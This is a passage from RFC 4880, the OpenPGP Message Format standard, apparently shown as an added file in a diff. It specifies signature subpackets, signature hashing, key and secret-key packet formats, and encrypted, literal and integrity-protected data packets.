octets of flags, 2 octets of name length (M), + 2 octets of value length (N), + M octets of name data, + N octets of value data) + + This subpacket describes a "notation" on the signature that the + issuer wishes to make. The notation has a name and a value, each of + which are strings of octets. There may be more than one notation in + a signature. Notations can be used for any extension the issuer of + the signature cares to make. The "flags" field holds four octets of + flags. + + + + + +Callas, et al Standards Track [Page 31] + +RFC 4880 OpenPGP Message Format November 2007 + + + All undefined flags MUST be zero. Defined flags are as follows: + + First octet: 0x80 = human-readable. This note value is text. + Other octets: none. + + Notation names are arbitrary strings encoded in UTF-8. They reside + in two namespaces: The IETF namespace and the user namespace. + + The IETF namespace is registered with IANA. These names MUST NOT + contain the "@" character (0x40). This is a tag for the user + namespace. + + Names in the user namespace consist of a UTF-8 string tag followed by + "@" followed by a DNS domain name. Note that the tag MUST NOT + contain an "@" character. For example, the "sample" tag used by + Example Corporation could be "sample@example.com". + + Names in a user space are owned and controlled by the owners of that + domain. Obviously, it's bad form to create a new name in a DNS space + that you don't own. + + Since the user namespace is in the form of an email address, + implementers MAY wish to arrange for that address to reach a person + who can be consulted about the use of the named tag. Note that due + to UTF-8 encoding, not all valid user space name tags are valid email + addresses. + + If there is a critical notation, the criticality applies to that + specific notation and not to notations in general. + +5.2.3.17. Key Server Preferences + + (N octets of flags) + + This is a list of one-bit flags that indicate preferences that the + key holder has about how the key is handled on a key server. All + undefined flags MUST be zero. + + First octet: 0x80 = No-modify + the key holder requests that this key only be modified or updated + by the key holder or an administrator of the key server. + + This is found only on a self-signature. + + + + + + + + +Callas, et al Standards Track [Page 32] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.2.3.18. Preferred Key Server + + (String) + + This is a URI of a key server that the key holder prefers be used for + updates. Note that keys with multiple User IDs can have a preferred + key server for each User ID. Note also that since this is a URI, the + key server can actually be a copy of the key retrieved by ftp, http, + finger, etc. + +5.2.3.19. Primary User ID + + (1 octet, Boolean) + + This is a flag in a User ID's self-signature that states whether this + User ID is the main User ID for this key. It is reasonable for an + implementation to resolve ambiguities in preferences, etc. by + referring to the primary User ID. If this flag is absent, its value + is zero. If more than one User ID in a key is marked as primary, the + implementation may resolve the ambiguity in any way it sees fit, but + it is RECOMMENDED that priority be given to the User ID with the most + recent self-signature. + + When appearing on a self-signature on a User ID packet, this + subpacket applies only to User ID packets. When appearing on a + self-signature on a User Attribute packet, this subpacket applies + only to User Attribute packets. That is to say, there are two + different and independent "primaries" -- one for User IDs, and one + for User Attributes. + +5.2.3.20. Policy URI + + (String) + + This subpacket contains a URI of a document that describes the policy + under which the signature was issued. + +5.2.3.21. Key Flags + + (N octets of flags) + + This subpacket contains a list of binary flags that hold information + about a key. It is a string of octets, and an implementation MUST + NOT assume a fixed size. This is so it can grow over time. If a + list is shorter than an implementation expects, the unstated flags + are considered to be zero. The defined flags are as follows: + + + + + +Callas, et al Standards Track [Page 33] + +RFC 4880 OpenPGP Message Format November 2007 + + + First octet: + + 0x01 - This key may be used to certify other keys. + + 0x02 - This key may be used to sign data. + + 0x04 - This key may be used to encrypt communications. + + 0x08 - This key may be used to encrypt storage. + + 0x10 - The private component of this key may have been split + by a secret-sharing mechanism. + + 0x20 - This key may be used for authentication. + + 0x80 - The private component of this key may be in the + possession of more than one person. + + Usage notes: + + The flags in this packet may appear in self-signatures or in + certification signatures. They mean different things depending on + who is making the statement -- for example, a certification signature + that has the "sign data" flag is stating that the certification is + for that use. On the other hand, the "communications encryption" + flag in a self-signature is stating a preference that a given key be + used for communications. Note however, that it is a thorny issue to + determine what is "communications" and what is "storage". This + decision is left wholly up to the implementation; the authors of this + document do not claim any special wisdom on the issue and realize + that accepted opinion may change. + + The "split key" (0x10) and "group key" (0x80) flags are placed on a + self-signature only; they are meaningless on a certification + signature. They SHOULD be placed only on a direct-key signature + (type 0x1F) or a subkey signature (type 0x18), one that refers to the + key the flag applies to. + +5.2.3.22. Signer's User ID + + (String) + + This subpacket allows a keyholder to state which User ID is + responsible for the signing. Many keyholders use a single key for + different purposes, such as business communications as well as + personal communications. This subpacket allows such a keyholder to + state which of their roles is making a signature. + + + + +Callas, et al Standards Track [Page 34] + +RFC 4880 OpenPGP Message Format November 2007 + + + This subpacket is not appropriate to use to refer to a User Attribute + packet. + +5.2.3.23. Reason for Revocation + + (1 octet of revocation code, N octets of reason string) + + This subpacket is used only in key revocation and certification + revocation signatures. It describes the reason why the key or + certificate was revoked. + + The first octet contains a machine-readable code that denotes the + reason for the revocation: + + 0 - No reason specified (key revocations or cert revocations) + 1 - Key is superseded (key revocations) + 2 - Key material has been compromised (key revocations) + 3 - Key is retired and no longer used (key revocations) + 32 - User ID information is no longer valid (cert revocations) + 100-110 - Private Use + + Following the revocation code is a string of octets that gives + information about the Reason for Revocation in human-readable form + (UTF-8). The string may be null, that is, of zero length. The + length of the subpacket is the length of the reason string plus one. + An implementation SHOULD implement this subpacket, include it in all + revocation signatures, and interpret revocations appropriately. + There are important semantic differences between the reasons, and + there are thus important reasons for revoking signatures. + + If a key has been revoked because of a compromise, all signatures + created by that key are suspect. However, if it was merely + superseded or retired, old signatures are still valid. If the + revoked signature is the self-signature for certifying a User ID, a + revocation denotes that that user name is no longer in use. Such a + revocation SHOULD include a 0x20 code. + + Note that any signature may be revoked, including a certification on + some other person's key. There are many good reasons for revoking a + certification signature, such as the case where the keyholder leaves + the employ of a business with an email address. A revoked + certification is no longer a part of validity calculations. + + + + + + + + + +Callas, et al Standards Track [Page 35] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.2.3.24. Features + + (N octets of flags) + + The Features subpacket denotes which advanced OpenPGP features a + user's implementation supports. This is so that as features are + added to OpenPGP that cannot be backwards-compatible, a user can + state that they can use that feature. The flags are single bits that + indicate that a given feature is supported. + + This subpacket is similar to a preferences subpacket, and only + appears in a self-signature. + + An implementation SHOULD NOT use a feature listed when sending to a + user who does not state that they can use it. + + Defined features are as follows: + + First octet: + + 0x01 - Modification Detection (packets 18 and 19) + + If an implementation implements any of the defined features, it + SHOULD implement the Features subpacket, too. + + An implementation may freely infer features from other suitable + implementation-dependent mechanisms. + +5.2.3.25. Signature Target + + (1 octet public-key algorithm, 1 octet hash algorithm, N octets hash) + + This subpacket identifies a specific target signature to which a + signature refers. For revocation signatures, this subpacket + provides explicit designation of which signature is being revoked. + For a third-party or timestamp signature, this designates what + signature is signed. All arguments are an identifier of that target + signature. + + The N octets of hash data MUST be the size of the hash of the + signature. For example, a target signature with a SHA-1 hash MUST + have 20 octets of hash data. + + + + + + + + + +Callas, et al Standards Track [Page 36] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.2.3.26. Embedded Signature + + (1 signature packet body) + + This subpacket contains a complete Signature packet body as + specified in Section 5.2 above. It is useful when one signature + needs to refer to, or be incorporated in, another signature. + +5.2.4. Computing Signatures + + All signatures are formed by producing a hash over the signature + data, and then using the resulting hash in the signature algorithm. + + For binary document signatures (type 0x00), the document data is + hashed directly. For text document signatures (type 0x01), the + document is canonicalized by converting line endings to , + and the resulting data is hashed. + + When a signature is made over a key, the hash data starts with the + octet 0x99, followed by a two-octet length of the key, and then body + of the key packet. (Note that this is an old-style packet header for + a key packet with two-octet length.) A subkey binding signature + (type 0x18) or primary key binding signature (type 0x19) then hashes + the subkey using the same format as the main key (also using 0x99 as + the first octet). Key revocation signatures (types 0x20 and 0x28) + hash only the key being revoked. + + A certification signature (type 0x10 through 0x13) hashes the User + ID being bound to the key into the hash context after the above + data. A V3 certification hashes the contents of the User ID or + attribute packet packet, without any header. A V4 certification + hashes the constant 0xB4 for User ID certifications or the constant + 0xD1 for User Attribute certifications, followed by a four-octet + number giving the length of the User ID or User Attribute data, and + then the User ID or User Attribute data. + + When a signature is made over a Signature packet (type 0x50), the + hash data starts with the octet 0x88, followed by the four-octet + length of the signature, and then the body of the Signature packet. + (Note that this is an old-style packet header for a Signature packet + with the length-of-length set to zero.) The unhashed subpacket data + of the Signature packet being hashed is not included in the hash, and + the unhashed subpacket data length value is set to zero. + + Once the data body is hashed, then a trailer is hashed. A V3 + signature hashes five octets of the packet body, starting from the + signature type field. This data is the signature type, followed by + the four-octet signature time. A V4 signature hashes the packet body + + + +Callas, et al Standards Track [Page 37] + +RFC 4880 OpenPGP Message Format November 2007 + + + starting from its first field, the version number, through the end + of the hashed subpacket data. Thus, the fields hashed are the + signature version, the signature type, the public-key algorithm, the + hash algorithm, the hashed subpacket length, and the hashed + subpacket body. + + V4 signatures also hash in a final trailer of six octets: the + version of the Signature packet, i.e., 0x04; 0xFF; and a four-octet, + big-endian number that is the length of the hashed data from the + Signature packet (note that this number does not include these final + six octets). + + After all this has been hashed in a single hash context, the + resulting hash field is used in the signature algorithm and placed + at the end of the Signature packet. + +5.2.4.1. Subpacket Hints + + It is certainly possible for a signature to contain conflicting + information in subpackets. For example, a signature may contain + multiple copies of a preference or multiple expiration times. In + most cases, an implementation SHOULD use the last subpacket in the + signature, but MAY use any conflict resolution scheme that makes + more sense. Please note that we are intentionally leaving conflict + resolution to the implementer; most conflicts are simply syntax + errors, and the wishy-washy language here allows a receiver to be + generous in what they accept, while putting pressure on a creator to + be stingy in what they generate. + + Some apparent conflicts may actually make sense -- for example, + suppose a keyholder has a V3 key and a V4 key that share the same + RSA key material. Either of these keys can verify a signature + created by the other, and it may be reasonable for a signature to + contain an issuer subpacket for each key, as a way of explicitly + tying those keys to the signature. + +5.3. Symmetric-Key Encrypted Session Key Packets (Tag 3) + + The Symmetric-Key Encrypted Session Key packet holds the + symmetric-key encryption of a session key used to encrypt a message. + Zero or more Public-Key Encrypted Session Key packets and/or + Symmetric-Key Encrypted Session Key packets may precede a + Symmetrically Encrypted Data packet that holds an encrypted message. + The message is encrypted with a session key, and the session key is + itself encrypted and stored in the Encrypted Session Key packet or + the Symmetric-Key Encrypted Session Key packet. + + + + + +Callas, et al Standards Track [Page 38] + +RFC 4880 OpenPGP Message Format November 2007 + + + If the Symmetrically Encrypted Data packet is preceded by one or + more Symmetric-Key Encrypted Session Key packets, each specifies a + passphrase that may be used to decrypt the message. This allows a + message to be encrypted to a number of public keys, and also to one + or more passphrases. This packet type is new and is not generated + by PGP 2.x or PGP 5.0. + + The body of this packet consists of: + + - A one-octet version number. The only currently defined version + is 4. + + - A one-octet number describing the symmetric algorithm used. + + - A string-to-key (S2K) specifier, length as defined above. + + - Optionally, the encrypted session key itself, which is decrypted + with the string-to-key object. + + If the encrypted session key is not present (which can be detected + on the basis of packet length and S2K specifier size), then the S2K + algorithm applied to the passphrase produces the session key for + decrypting the file, using the symmetric cipher algorithm from the + Symmetric-Key Encrypted Session Key packet. + + If the encrypted session key is present, the result of applying the + S2K algorithm to the passphrase is used to decrypt just that + encrypted session key field, using CFB mode with an IV of all zeros. + The decryption result consists of a one-octet algorithm identifier + that specifies the symmetric-key encryption algorithm used to + encrypt the following Symmetrically Encrypted Data packet, followed + by the session key octets themselves. + + Note: because an all-zero IV is used for this decryption, the S2K + specifier MUST use a salt value, either a Salted S2K or an + Iterated-Salted S2K. The salt value will ensure that the decryption + key is not repeated even if the passphrase is reused. + +5.4. One-Pass Signature Packets (Tag 4) + + The One-Pass Signature packet precedes the signed data and contains + enough information to allow the receiver to begin calculating any + hashes needed to verify the signature. It allows the Signature + packet to be placed at the end of the message, so that the signer + can compute the entire signed message in one pass. + + A One-Pass Signature does not interoperate with PGP 2.6.x or + earlier. + + + +Callas, et al Standards Track [Page 39] + +RFC 4880 OpenPGP Message Format November 2007 + + + The body of this packet consists of: + + - A one-octet version number. The current version is 3. + + - A one-octet signature type. Signature types are described in + Section 5.2.1. + + - A one-octet number describing the hash algorithm used. + + - A one-octet number describing the public-key algorithm used. + + - An eight-octet number holding the Key ID of the signing key. + + - A one-octet number holding a flag showing whether the signature + is nested. A zero value indicates that the next packet is + another One-Pass Signature packet that describes another + signature to be applied to the same message data. + + Note that if a message contains more than one one-pass signature, + then the Signature packets bracket the message; that is, the first + Signature packet after the message corresponds to the last one-pass + packet and the final Signature packet corresponds to the first + one-pass packet. + +5.5. Key Material Packet + + A key material packet contains all the information about a public or + private key. There are four variants of this packet type, and two + major versions. Consequently, this section is complex. + +5.5.1. Key Packet Variants + +5.5.1.1. Public-Key Packet (Tag 6) + + A Public-Key packet starts a series of packets that forms an OpenPGP + key (sometimes called an OpenPGP certificate). + +5.5.1.2. Public-Subkey Packet (Tag 14) + + A Public-Subkey packet (tag 14) has exactly the same format as a + Public-Key packet, but denotes a subkey. One or more subkeys may be + associated with a top-level key. By convention, the top-level key + provides signature services, and the subkeys provide encryption + services. + + Note: in PGP 2.6.x, tag 14 was intended to indicate a comment + packet. This tag was selected for reuse because no previous version + of PGP ever emitted comment packets but they did properly ignore + + + +Callas, et al Standards Track [Page 40] + +RFC 4880 OpenPGP Message Format November 2007 + + + them. Public-Subkey packets are ignored by PGP 2.6.x and do not + cause it to fail, providing a limited degree of backward + compatibility. + +5.5.1.3. Secret-Key Packet (Tag 5) + + A Secret-Key packet contains all the information that is found in a + Public-Key packet, including the public-key material, but also + includes the secret-key material after all the public-key fields. + +5.5.1.4. Secret-Subkey Packet (Tag 7) + + A Secret-Subkey packet (tag 7) is the subkey analog of the Secret + Key packet and has exactly the same format. + +5.5.2. Public-Key Packet Formats + + There are two versions of key-material packets. Version 3 packets + were first generated by PGP 2.6. Version 4 keys first appeared in + PGP 5.0 and are the preferred key version for OpenPGP. + + OpenPGP implementations MUST create keys with version 4 format. V3 + keys are deprecated; an implementation MUST NOT generate a V3 key, + but MAY accept it. + + A version 3 public key or public-subkey packet contains: + + - A one-octet version number (3). + + - A four-octet number denoting the time that the key was created. + + - A two-octet number denoting the time in days that this key is + valid. If this number is zero, then it does not expire. + + - A one-octet number denoting the public-key algorithm of this key. + + - A series of multiprecision integers comprising the key material: + + - a multiprecision integer (MPI) of RSA public modulus n; + + - an MPI of RSA public encryption exponent e. + + V3 keys are deprecated. They contain three weaknesses. First, it is + relatively easy to construct a V3 key that has the same Key ID as any + other key because the Key ID is simply the low 64 bits of the public + modulus. Secondly, because the fingerprint of a V3 key hashes the + key material, but not its length, there is an increased opportunity + for fingerprint collisions. Third, there are weaknesses in the MD5 + + + +Callas, et al Standards Track [Page 41] + +RFC 4880 OpenPGP Message Format November 2007 + + + hash algorithm that make developers prefer other algorithms. See + below for a fuller discussion of Key IDs and fingerprints. + + V2 keys are identical to the deprecated V3 keys except for the + version number. An implementation MUST NOT generate them and MAY + accept or reject them as it sees fit. + + The version 4 format is similar to the version 3 format except for + the absence of a validity period. This has been moved to the + Signature packet. In addition, fingerprints of version 4 keys are + calculated differently from version 3 keys, as described in the + section "Enhanced Key Formats". + + A version 4 packet contains: + + - A one-octet version number (4). + + - A four-octet number denoting the time that the key was created. + + - A one-octet number denoting the public-key algorithm of this key. + + - A series of multiprecision integers comprising the key material. + This algorithm-specific portion is: + + Algorithm-Specific Fields for RSA public keys: + + - multiprecision integer (MPI) of RSA public modulus n; + + - MPI of RSA public encryption exponent e. + + Algorithm-Specific Fields for DSA public keys: + + - MPI of DSA prime p; + + - MPI of DSA group order q (q is a prime divisor of p-1); + + - MPI of DSA group generator g; + + - MPI of DSA public-key value y (= g**x mod p where x + is secret). + + Algorithm-Specific Fields for Elgamal public keys: + + - MPI of Elgamal prime p; + + - MPI of Elgamal group generator g; + + + + + +Callas, et al Standards Track [Page 42] + +RFC 4880 OpenPGP Message Format November 2007 + + + - MPI of Elgamal public key value y (= g**x mod p where x + is secret). + +5.5.3. Secret-Key Packet Formats + + The Secret-Key and Secret-Subkey packets contain all the data of the + Public-Key and Public-Subkey packets, with additional algorithm- + specific secret-key data appended, usually in encrypted form. + + The packet contains: + + - A Public-Key or Public-Subkey packet, as described above. + + - One octet indicating string-to-key usage conventions. Zero + indicates that the secret-key data is not encrypted. 255 or 254 + indicates that a string-to-key specifier is being given. Any + other value is a symmetric-key encryption algorithm identifier. + + - [Optional] If string-to-key usage octet was 255 or 254, a one- + octet symmetric encryption algorithm. + + - [Optional] If string-to-key usage octet was 255 or 254, a + string-to-key specifier. The length of the string-to-key + specifier is implied by its type, as described above. + + - [Optional] If secret data is encrypted (string-to-key usage octet + not zero), an Initial Vector (IV) of the same length as the + cipher's block size. + + - Plain or encrypted multiprecision integers comprising the secret + key data. These algorithm-specific fields are as described + below. + + - If the string-to-key usage octet is zero or 255, then a two-octet + checksum of the plaintext of the algorithm-specific portion (sum + of all octets, mod 65536). If the string-to-key usage octet was + 254, then a 20-octet SHA-1 hash of the plaintext of the + algorithm-specific portion. This checksum or hash is encrypted + together with the algorithm-specific fields (if string-to-key + usage octet is not zero). Note that for all other values, a + two-octet checksum is required. + + Algorithm-Specific Fields for RSA secret keys: + + - multiprecision integer (MPI) of RSA secret exponent d. + + - MPI of RSA secret prime value p. + + + + +Callas, et al Standards Track [Page 43] + +RFC 4880 OpenPGP Message Format November 2007 + + + - MPI of RSA secret prime value q (p < q). + + - MPI of u, the multiplicative inverse of p, mod q. + + Algorithm-Specific Fields for DSA secret keys: + + - MPI of DSA secret exponent x. + + Algorithm-Specific Fields for Elgamal secret keys: + + - MPI of Elgamal secret exponent x. + + Secret MPI values can be encrypted using a passphrase. If a string- + to-key specifier is given, that describes the algorithm for + converting the passphrase to a key, else a simple MD5 hash of the + passphrase is used. Implementations MUST use a string-to-key + specifier; the simple hash is for backward compatibility and is + deprecated, though implementations MAY continue to use existing + private keys in the old format. The cipher for encrypting the MPIs + is specified in the Secret-Key packet. + + Encryption/decryption of the secret data is done in CFB mode using + the key created from the passphrase and the Initial Vector from the + packet. A different mode is used with V3 keys (which are only RSA) + than with other key formats. With V3 keys, the MPI bit count prefix + (i.e., the first two octets) is not encrypted. Only the MPI non- + prefix data is encrypted. Furthermore, the CFB state is + resynchronized at the beginning of each new MPI value, so that the + CFB block boundary is aligned with the start of the MPI data. + + With V4 keys, a simpler method is used. All secret MPI values are + encrypted in CFB mode, including the MPI bitcount prefix. + + The two-octet checksum that follows the algorithm-specific portion is + the algebraic sum, mod 65536, of the plaintext of all the algorithm- + specific octets (including MPI prefix and data). With V3 keys, the + checksum is stored in the clear. With V4 keys, the checksum is + encrypted like the algorithm-specific data. This value is used to + check that the passphrase was correct. However, this checksum is + deprecated; an implementation SHOULD NOT use it, but should rather + use the SHA-1 hash denoted with a usage octet of 254. The reason for + this is that there are some attacks that involve undetectably + modifying the secret key. + + + + + + + + +Callas, et al Standards Track [Page 44] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.6. Compressed Data Packet (Tag 8) + + The Compressed Data packet contains compressed data. Typically, this + packet is found as the contents of an encrypted packet, or following + a Signature or One-Pass Signature packet, and contains a literal data + packet. + + The body of this packet consists of: + + - One octet that gives the algorithm used to compress the packet. + + - Compressed data, which makes up the remainder of the packet. + + A Compressed Data Packet's body contains an block that compresses + some set of packets. See section "Packet Composition" for details on + how messages are formed. + + ZIP-compressed packets are compressed with raw RFC 1951 [RFC1951] + DEFLATE blocks. Note that PGP V2.6 uses 13 bits of compression. If + an implementation uses more bits of compression, PGP V2.6 cannot + decompress it. + + ZLIB-compressed packets are compressed with RFC 1950 [RFC1950] ZLIB- + style blocks. + + BZip2-compressed packets are compressed using the BZip2 [BZ2] + algorithm. + +5.7. Symmetrically Encrypted Data Packet (Tag 9) + + The Symmetrically Encrypted Data packet contains data encrypted with + a symmetric-key algorithm. When it has been decrypted, it contains + other packets (usually a literal data packet or compressed data + packet, but in theory other Symmetrically Encrypted Data packets or + sequences of packets that form whole OpenPGP messages). + + The body of this packet consists of: + + - Encrypted data, the output of the selected symmetric-key cipher + operating in OpenPGP's variant of Cipher Feedback (CFB) mode. + + The symmetric cipher used may be specified in a Public-Key or + Symmetric-Key Encrypted Session Key packet that precedes the + Symmetrically Encrypted Data packet. In that case, the cipher + algorithm octet is prefixed to the session key before it is + encrypted. If no packets of these types precede the encrypted data, + the IDEA algorithm is used with the session key calculated as the MD5 + hash of the passphrase, though this use is deprecated. + + + +Callas, et al Standards Track [Page 45] + +RFC 4880 OpenPGP Message Format November 2007 + + + The data is encrypted in CFB mode, with a CFB shift size equal to the + cipher's block size. The Initial Vector (IV) is specified as all + zeros. Instead of using an IV, OpenPGP prefixes a string of length + equal to the block size of the cipher plus two to the data before it + is encrypted. The first block-size octets (for example, 8 octets for + a 64-bit block length) are random, and the following two octets are + copies of the last two octets of the IV. For example, in an 8-octet + block, octet 9 is a repeat of octet 7, and octet 10 is a repeat of + octet 8. In a cipher of length 16, octet 17 is a repeat of octet 15 + and octet 18 is a repeat of octet 16. As a pedantic clarification, + in both these examples, we consider the first octet to be numbered 1. + + After encrypting the first block-size-plus-two octets, the CFB state + is resynchronized. The last block-size octets of ciphertext are + passed through the cipher and the block boundary is reset. + + The repetition of 16 bits in the random data prefixed to the message + allows the receiver to immediately check whether the session key is + incorrect. See the "Security Considerations" section for hints on + the proper use of this "quick check". + +5.8. Marker Packet (Obsolete Literal Packet) (Tag 10) + + An experimental version of PGP used this packet as the Literal + packet, but no released version of PGP generated Literal packets with + this tag. With PGP 5.x, this packet has been reassigned and is + reserved for use as the Marker packet. + + The body of this packet consists of: + + - The three octets 0x50, 0x47, 0x50 (which spell "PGP" in UTF-8). + + Such a packet MUST be ignored when received. It may be placed at the + beginning of a message that uses features not available in PGP 2.6.x + in order to cause that version to report that newer software is + necessary to process the message. + +5.9. Literal Data Packet (Tag 11) + + A Literal Data packet contains the body of a message; data that is + not to be further interpreted. + + The body of this packet consists of: + + - A one-octet field that describes how the data is formatted. + + + + + + +Callas, et al Standards Track [Page 46] + +RFC 4880 OpenPGP Message Format November 2007 + + + If it is a 'b' (0x62), then the Literal packet contains binary data. + If it is a 't' (0x74), then it contains text data, and thus may need + line ends converted to local form, or other text-mode changes. The + tag 'u' (0x75) means the same as 't', but also indicates that + implementation believes that the literal data contains UTF-8 text. + + Early versions of PGP also defined a value of 'l' as a 'local' mode + for machine-local conversions. RFC 1991 [RFC1991] incorrectly stated + this local mode flag as '1' (ASCII numeral one). Both of these local + modes are deprecated. + + - File name as a string (one-octet length, followed by a file + name). This may be a zero-length string. Commonly, if the + source of the encrypted data is a file, this will be the name of + the encrypted file. An implementation MAY consider the file name + in the Literal packet to be a more authoritative name than the + actual file name. + + If the special name "_CONSOLE" is used, the message is considered to + be "for your eyes only". This advises that the message data is + unusually sensitive, and the receiving program should process it more + carefully, perhaps avoiding storing the received data to disk, for + example. + + - A four-octet number that indicates a date associated with the + literal data. Commonly, the date might be the modification date + of a file, or the time the packet was created, or a zero that + indicates no specific time. + + - The remainder of the packet is literal data. + + Text data is stored with text endings (i.e., network- + normal line endings). These should be converted to native line + endings by the receiving software. + +5.10. Trust Packet (Tag 12) + + The Trust packet is used only within keyrings and is not normally + exported. Trust packets contain data that record the user's + specifications of which key holders are trustworthy introducers, + along with other information that implementing software uses for + trust information. The format of Trust packets is defined by a given + implementation. + + Trust packets SHOULD NOT be emitted to output streams that are + transferred to other users, and they SHOULD be ignored on any input + other than local keyring files. + + + + +Callas, et al Standards Track [Page 47] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.11. User ID Packet (Tag 13) + + A User ID packet consists of UTF-8 text that is intended to represent + the name and email address of the key holder. By convention, it + includes an RFC 2822 [RFC2822] mail name-addr, but there are no + restrictions on its content. The packet length in the header + specifies the length of the User ID. + +5.12. User Attribute Packet (Tag 17) + + The User Attribute packet is a variation of the User ID packet. It + is capable of storing more types of data than the User ID packet, + which is limited to text. Like the User ID packet, a User Attribute + packet may be certified by the key owner ("self-signed") or any other + key owner who cares to certify it. Except as noted, a User Attribute + packet may be used anywhere that a User ID packet may be used. + + While User Attribute packets are not a required part of the OpenPGP + standard, implementations SHOULD provide at least enough + compatibility to properly handle a certification signature on the + User Attribute packet. A simple way to do this is by treating the + User Attribute packet as a User ID packet with opaque contents, but + an implementation may use any method desired. + + The User Attribute packet is made up of one or more attribute + subpackets. Each subpacket consists of a subpacket header and a + body. The header consists of: + + - the subpacket length (1, 2, or 5 octets) + + - the subpacket type (1 octet) + + and is followed by the subpacket specific data. + + The only currently defined subpacket type is 1, signifying an image. + An implementation SHOULD ignore any subpacket of a type that it does + not recognize. Subpacket types 100 through 110 are reserved for + private or experimental use. + +5.12.1. The Image Attribute Subpacket + + The Image Attribute subpacket is used to encode an image, presumably + (but not required to be) that of the key owner. + + The Image Attribute subpacket begins with an image header. The first + two octets of the image header contain the length of the image + header. Note that unlike other multi-octet numerical values in this + document, due to a historical accident this value is encoded as a + + + +Callas, et al Standards Track [Page 48] + +RFC 4880 OpenPGP Message Format November 2007 + + + little-endian number. The image header length is followed by a + single octet for the image header version. The only currently + defined version of the image header is 1, which is a 16-octet image + header. The first three octets of a version 1 image header are thus + 0x10, 0x00, 0x01. + + The fourth octet of a version 1 image header designates the encoding + format of the image. The only currently defined encoding format is + the value 1 to indicate JPEG. Image format types 100 through 110 are + reserved for private or experimental use. The rest of the version 1 + image header is made up of 12 reserved octets, all of which MUST be + set to 0. + + The rest of the image subpacket contains the image itself. As the + only currently defined image type is JPEG, the image is encoded in + the JPEG File Interchange Format (JFIF), a standard file format for + JPEG images [JFIF]. + + An implementation MAY try to determine the type of an image by + examination of the image data if it is unable to handle a particular + version of the image header or if a specified encoding format value + is not recognized. + +5.13. Sym. Encrypted Integrity Protected Data Packet (Tag 18) + + The Symmetrically Encrypted Integrity Protected Data packet is a + variant of the Symmetrically Encrypted Data packet. It is a new + feature created for OpenPGP that addresses the problem of detecting a + modification to encrypted data. It is used in combination with a + Modification Detection Code packet. + + There is a corresponding feature in the features Signature subpacket + that denotes that an implementation can properly use this packet + type. An implementation MUST support decrypting these packets and + SHOULD prefer generating them to the older Symmetrically Encrypted + Data packet when possible. Since this data packet protects against + modification attacks, this standard encourages its proliferation. + While blanket adoption of this data packet would create + interoperability problems, rapid adoption is nevertheless important. + An implementation SHOULD specifically denote support for this packet, + but it MAY infer it from other mechanisms. + + For example, an implementation might infer from the use of a cipher + such as Advanced Encryption Standard (AES) or Twofish that a user + supports this feature. It might place in the unhashed portion of + another user's key signature a Features subpacket. It might also + present a user with an opportunity to regenerate their own self- + signature with a Features subpacket. + + + +Callas, et al Standards Track [Page 49] + +RFC 4880 OpenPGP Message Format November 2007 + + + This packet contains data encrypted with a symmetric-key algorithm + and protected against modification by the SHA-1 hash algorithm. When + it has been decrypted, it will typically contain other packets (often + a Literal Data packet or Compressed Data packet). The last decrypted + packet in this packet's payload MUST be a Modification Detection Code + packet. + + The body of this packet consists of: + + - A one-octet version number. The only currently defined value is + 1. + + - Encrypted data, the output of the selected symmetric-key cipher + operating in Cipher Feedback mode with shift amount equal to the + block size of the cipher (CFB-n where n is the block size). + + The symmetric cipher used MUST be specified in a Public-Key or + Symmetric-Key Encrypted Session Key packet that precedes the + Symmetrically Encrypted Data packet. In either case, the cipher + algorithm octet is prefixed to the session key before it is + encrypted. + + The data is encrypted in CFB mode, with a CFB shift size equal to the + cipher's block size. The Initial Vector (IV) is specified as all + zeros. Instead of using an IV, OpenPGP prefixes an octet string to + the data before it is encrypted. The length of the octet string + equals the block size of the cipher in octets, plus two. The first + octets in the group, of length equal to the block size of the cipher, + are random; the last two octets are each copies of their 2nd + preceding octet. For example, with a cipher whose block size is 128 + bits or 16 octets, the prefix data will contain 16 random octets, + then two more octets, which are copies of the 15th and 16th octets, + respectively. Unlike the Symmetrically Encrypted Data Packet, no + special CFB resynchronization is done after encrypting this prefix + data. See "OpenPGP CFB Mode" below for more details. + + The repetition of 16 bits in the random data prefixed to the message + allows the receiver to immediately check whether the session key is + incorrect. + + The plaintext of the data to be encrypted is passed through the SHA-1 + hash function, and the result of the hash is appended to the + plaintext in a Modification Detection Code packet. The input to the + hash function includes the prefix data described above; it includes + all of the plaintext, and then also includes two octets of values + 0xD3, 0x14. These represent the encoding of a Modification Detection + Code packet tag and length field of 20 octets. + + + + +Callas, et al Standards Track [Page 50] + +RFC 4880 OpenPGP Message Format November 2007 + + + The resulting hash value is stored in a Modification Detection Code + (MDC) packet, which MUST use the two octet encoding just given to + represent its tag and length field. The body of the MDC packet is + the 20-octet output of the SHA-1 hash. + + The Modification Detection Code packet is appended to the plaintext + and encrypted along with the plaintext using the same CFB context. + + During decryption, the plaintext data should be hashed with SHA-1, + including the prefix data as well as the packet tag and length field + of the Modification Detection Code packet. The body of the MDC + packet, upon decryption, is compared with the result of the SHA-1 + hash. + + Any failure of the MDC indicates that the message has been modified + and MUST be treated as a security problem. Failures include a + difference in the hash values, but also the absence of an MDC packet, + or an MDC packet in any position other than the end of the plaintext. + Any failure SHOULD be reported to the user. + + Note: future designs of new versions of this packet should consider + rollback attacks since it will be possible for an attacker to change + the version back to 1. + + NON-NORMATIVE EXPLANATION + + The MDC system, as packets 18 and 19 are called, were created to + provide an integrity mechanism that is less strong than a + signature, yet stronger than bare CFB encryption. + + It is a limitation of CFB encryption that damage to the ciphertext + will corrupt the affected cipher blocks and the block following. + Additionally, if data is removed from the end of a CFB-encrypted + block, that removal is undetectable. (Note also that CBC mode has + a similar limitation, but data removed from the front of the block + is undetectable.) + + The obvious way to protect or authenticate an encrypted block is + to digitally sign it. However, many people do not wish to + habitually sign data, for a large number of reasons beyond the + scope of this document. Suffice it to say that many people + consider properties such as deniability to be as valuable as + integrity. + + OpenPGP addresses this desire to have more security than raw + encryption and yet preserve deniability with the MDC system. An + MDC is intentionally not a MAC. Its name was not selected by + accident. It is analogous to a checksum. + + + +Callas, et al Standards Track [Page 51] + +RFC 4880 OpenPGP Message Format November 2007 + + + Despite the fact that it is a relatively modest system, it has + proved itself in the real world. It is an effective defense to + several attacks that have surfaced since it has been created. It + has met its modest goals admirably. + + Consequently, because it is a modest security system, it has + modest requirements on the hash function(s) it employs. It does + not rely on a hash function being collision-free, it relies on a + hash function being one-way. If a forger, 